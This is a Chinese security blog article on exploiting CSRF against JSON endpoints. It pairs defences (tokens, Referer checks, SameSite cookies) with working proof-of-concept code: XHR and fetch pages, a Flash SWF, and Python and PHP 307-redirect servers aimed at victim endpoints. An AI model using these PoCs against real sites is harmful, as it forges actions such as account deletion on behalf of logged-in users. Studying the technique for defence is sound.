专栏首页FreeBuf谈谈Json格式下的CSRF攻击

谈谈Json格式下的CSRF攻击

一、CSRF漏洞简介

csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。

在post标准化格式(accounts=test&password=aaa)的表单页面中,在没有csrf防护的前提下,我们能很轻松地构造页面来实现攻击,但是在json格式下,csrf攻击怎么实现呢?

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

1.1 防御方案

关于防御方案,一般有如下几种:

1)用户操作验证,在提交数据时需要输入验证码

2)请求来源验证,验证请求来源的referer

3)表单token验证

现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。

这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

例子:

第一步:用户访问某个表单页面。

第二步:服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

第三步:在页面表单附带上Token参数。

第四步:用户提交请求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致, 一致为合法请求,不是则非法请求。

4) 在前后端分离的前提下(例如使用ajax提交数据)设置不了token,可以给 cookie 新增 SameSite 属性,通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie,不能作为第三方 cookie),既然不能作为第三方 cookie ,那么别的网站发起第三方请求时,第三方网站是收不到这个被标记关键 cookie,后面的鉴权处理就好办了。这一切都不需要做 token 生命周期的管理,也不用担心 Referer 会丢失或被中途被篡改。

SameStie 有两个值:Strict 和 Lax:

SameSite=Strict 严格模式,使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求),都不能作为第三方 cookie。

SameSite=Lax 宽松模式,使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下,都不能作为第三方 cookie。

那么Strict和Lax的如何使用呢?

登录态关键的 cookie 都可以设置为 Strict。 后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比如微博什么的,你希望用户在微博上打开你的链接还能保持登录态。 如果你的页面有可能被第三方网站去iframe或有接口需要做jsonp ,那么都不能设置 Strict 或 Lax。

二、不验证CONTENT-TYPE的情况

如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:

<html> <head> <script style="text/javascript">      function submitRequest(){        var xhr = new XMLHttpRequest();        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");        xhr.withCredentials = true;        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));    }</script> </head>  <body>
    <form action="#">      <input type="button" value="Submit request" onClick="submitRequest()"/>    </form>  </body>
</html>

三、验证CONTENT-TYPE的情况

当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。

fetch发起的请求代码:

<html><title>JSON CSRF POC</title><script>    fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script>
</form></html>

我们可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。

3.1 创建flash文件

为了创建能够发送Web请求的csrf.swf文件,我们需要按照以下步骤操作:

安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM,这一步可以安装32位JDK来完成。

创建一个包含下列ActionScript代码的text文件,文件名为csrf.as。

获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的。

运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。

3.2 创建web服务器

1、使用python作为服务器(此方法不推荐):

先创建as文件,用上述步骤编译:

package{  import flash.display.Sprite;  import flash.net.URLLoader;  import flash.net.URLRequest;  import flash.net.URLRequestHeader;  import flash.net.URLRequestMethod;  public class csrf extends Sprite{    public function csrf(){      super();      var member1:Object = null;      var myJson:String = null;      member1 = new Object();      member1 ={"id":102};      var myData:Object = member1;      myJson = JSON.stringify(myData);      myJson = JSON.stringify(myData);      var url:String = "http://172.16.11.110:8000/";      var request:URLRequest = new URLRequest(url);      request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));      request.data = myJson;      request.method = URLRequestMethod.POST;      var urlLoader:URLLoader = new URLLoader();   try      {          urlLoader.load(request);          return;      }      catch(e:Error)      {          trace(e);          return;      }    }  }}

借助GitHub上的json-flash-csrf-poc,我们可以生成一个简单的python web服务器

pyserver.py:

import BaseHTTPServerimport timeimport sys
HOST = '' PORT = 8000
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):    def do_POST(s):       # dir(s)        if s.path == '/csrf.swf':           s.send_response(200)           s.send_header("Content-Type","application/x-shockwave-flash")           s.end_headers()           s.wfile.write(open("csrf.swf", "rb").read())           return         s.send_response(307)        s.send_header("Location", "https://victim-site/userdelete")        s.end_headers()    def do_GET(s):        print(s.path)        s.do_POST()
if __name__ == '__main__':    server_class = BaseHTTPServer.HTTPServer    httpd = server_class((HOST, PORT), RedirectHandler)    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)    try:        httpd.serve_forever()    except KeyboardInterrupt:        pass    httpd.server_close()    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

2、使用apache的php页面作为服务端(首选方法):

我们也可以使用php来作为307跳转的服务端,参考GitHub上的swf_json_csrf。

csrf.as:

package{   import flash.display.Sprite;   import flash.net.URLLoader;   import flash.net.URLRequest;   import flash.net.URLRequestHeader;   import flash.net.URLRequestMethod;
   public class csrf extends Sprite{
      public function csrf(){         super();         var myJson:String = this.root.loaderInfo.parameters.jsonData;         var url:String = this.root.loaderInfo.parameters.php_url;         var endpoint:String = this.root.loaderInfo.parameters.endpoint;         var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";         var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);         request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));         request.data = myJson;         request.method = URLRequestMethod.POST;         var urlLoader:URLLoader = new URLLoader();         try         {            urlLoader.load(request);            return;         }         catch(e:Error)         {            trace(e);            return;         }      }   }}

307.php:

<?php$victim_url = $_GET['endpoint'];header("Location: $victim_url", true, 307)?>

最后使用的poc是:

http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json

四、更进一步探索

当访问最后的POC,过程如下:

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。

我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。

既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?

其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

五、实际测试效果

这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。

参考链接

Exploiting JSON CSRF 如何在JSON端点上利用CSRF漏洞

*本文作者:shystartree,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

文章分享自微信公众号:
FreeBuf

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:shystartree
原始发表时间:2019-06-27
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • linux下解析json格式的jq工具

    jq拥有一些内建的函数,如has,key等, key函数用于获取json中的Key

    公众号: 云原生生态圈
  • Springboot 防止XSS攻击,包含解决RequestBody 的Json 格式参数

    最近项目做安全测试,发现存在XSS攻击的可能,于是乎上网找找看,找了很多基本都是继承HttpServletRequestWrapper,对getParam、ge...

    全栈程序员站长
  • 大多数人都不了解的漏洞....一文弄懂CSRF

    本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权...

    网络安全自修室
  • CSRF(跨站点请求伪造)在Flash中的利用

    0x00 前言 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session R...

    FB客服
  • 由JSON CSRF到FormData攻击

    首先:你们必须知道CSRF攻击,如果不知道,那么这里是一个简短的介绍:CSRF是一种攻击,它迫使最终用户在当前对其进行身份验证的Web应用程序上执行不需要的...

    C4rpeDime
  • 网站漏洞修复公司对JSONP协议检测

    六一儿童节快到了,最近出了太多太多的漏洞,像前几天被爆出的cve-2019-0708漏洞,利用的是windows服务器远程桌面rdp协议进行的攻击,今天来给大家...

    网站安全专家
  • JSON CSRF新姿势

    以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,给大家分享一下。 测试的时候,当应用程序验证了Content...

    用户1467662
  • 网站漏洞修复工具对jsop协议漏洞分析

    六一儿童节快到了,最近出了太多太多的漏洞,像前几天被爆出的cve-2019-0708漏洞,利用的是windows服务器远程桌面rdp协议进行的攻击,今天来给大家...

    技术分享达人
  • spring security CSRF防护

    CSRF是指跨站请求伪造(Cross-site request forgery),是web常见的攻击之一。 从Spring Security 4.0开始,默认...

    全栈程序员站长
  • 通过挖掘某某 src 来学习 json csrf

    在某某 src 进行渗透测试的过程中,发现一个评论的地方并没有对次数进行限制且在数据区域也没有 token 的字眼,因此猜测此处存在 csrf 漏洞,于是就开始...

    信安之路
  • WEB应用常见15种安全漏洞一览

    SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。

    Fundebug
  • Kali Linux Web渗透测试手册(第二版) - 9.4 - 绕过web服务器的CORS限制

    跨源资源共享(Cross-OriginResource Sharing, CORS)是在服务器端配置的一组策略,它告诉浏览器服务器是否允许在外部站点(跨源请求)...

    用户1631416
  • JSON相关漏洞(Hijacking+Injection)挖掘技巧及实战案例全汇总

    本文一是在为测试过程中遇到json返回格式时提供测试思路,二是几乎所有国内的资料都混淆了json和jsonp的区别——这是两种技术;以及json和js...

    Jayway
  • Django获取HTTP请求体数据

    请求体的数据格式是多种多样的,可以是表单类型字符串,可以是JSON字符串,可以是XML字符串。

    zy010101
  • CSRF攻击原理介绍和利用

    注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

    WeiyiGeek
  • web 应用常见安全漏洞一览

    SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。

    用户7657330
  • Kali Linux Web渗透测试手册(第二版) - 9.4 - 绕过web服务器的CORS限制

    跨源资源共享(Cross-OriginResource Sharing, CORS)是在服务器端配置的一组策略,它告诉浏览器服务器是否允许在外部站点(跨源请求)...

    7089bAt@PowerLi

扫码关注腾讯云开发者

领取腾讯云代金券